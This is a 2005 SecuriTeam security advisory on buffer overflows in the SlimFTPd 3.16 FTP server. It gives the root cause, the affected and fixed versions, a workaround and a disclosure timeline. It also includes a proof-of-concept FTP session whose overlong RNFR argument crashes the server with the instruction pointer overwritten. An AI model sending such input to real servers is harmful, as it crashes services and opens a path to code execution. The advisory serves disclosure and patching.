

[NT] SlimFTPd LIST, DELE and RNFR Buffer Overflows

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0074.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/25/05

To: list@securiteam.com

Date: 25 Jul 2005 18:31:20 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SlimFTPd LIST, DELE and RNFR Buffer Overflows

SUMMARY

" <<http://www.whitsoftdev.com/slimftpd/>> SlimFTPd is a fully standards-compliant FTP server implementation with an advanced virtual file system."

Due to lack of proper length checking routines in SlimFTPd, attackers are able to to execute arbitrary code by overflowing a buffer the program uses.

DETAILS

Vulnerable Systems:

- * SlimFTPd version 3.16

Immune Systems:

- * SlimFTPd version 3.17

The handler for the LIST, DELE and RNFR commands builds a string by concatenating the current directory with the requested dir/file. The requested and current directory can occupy up to 512 bytes, as the

Securiteam: [NT] SlimFTPd LIST, DELE and RNFR Buffer Overflows

destination buffer, which can therefore be overflowed. The minimal length for the current remote directory to allow exploitation is 8 chars.

Proof of concept:

```
ftp> open localhost
Connected to localhost.
220-SlimFTPd 3.16, by WhitSoft Development (www.whitsoftdev.com)
220-You are connecting from localhost:2687.
220 Proceed with login.
  User (localhost:(none)) : bleh
331 Need password for user "bleh".
  Password :
230 User "bleh" logged in.
ftp> cd 123456789
250 "/123456789" is now current directory.
ftp> quote RNFR 12345678901234567890123456789
0123456789012345678901234567890123456789012
3456789012345678901234567890123456789012345
6789012345678901234567890123456789012345678
9012345678901234567890123456789012345678901
2345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567
8901234567890123456789012345678901234567890
1234567890123456789012345678901234567890123
4567890123456789012345678901234567890123456
7890123456789012345678901234567890123456789
0123456789012345678901234567890123456789012
345
Connection closed.
```

SlimFTPd crashes at eip 0x35343332.

Workaround:

Disable List and Write rights.

Disclosure Timeline:

2005-07-07 - Discovery
2005-07-08 - First attempt to contact developer
2005-07-08 - Developer reply
2005-07-11 - Fixed version 3.17 released
2005-07-21 - Advisory published

ADDITIONAL INFORMATION

The information has been provided by
<<mailto:ml-bugtraq@twilight-hall.net>> Rapha l Rigo .

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

Securiteam: [NT] SlimFTPd LIST, DELE and RNFR Buffer Overflows

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.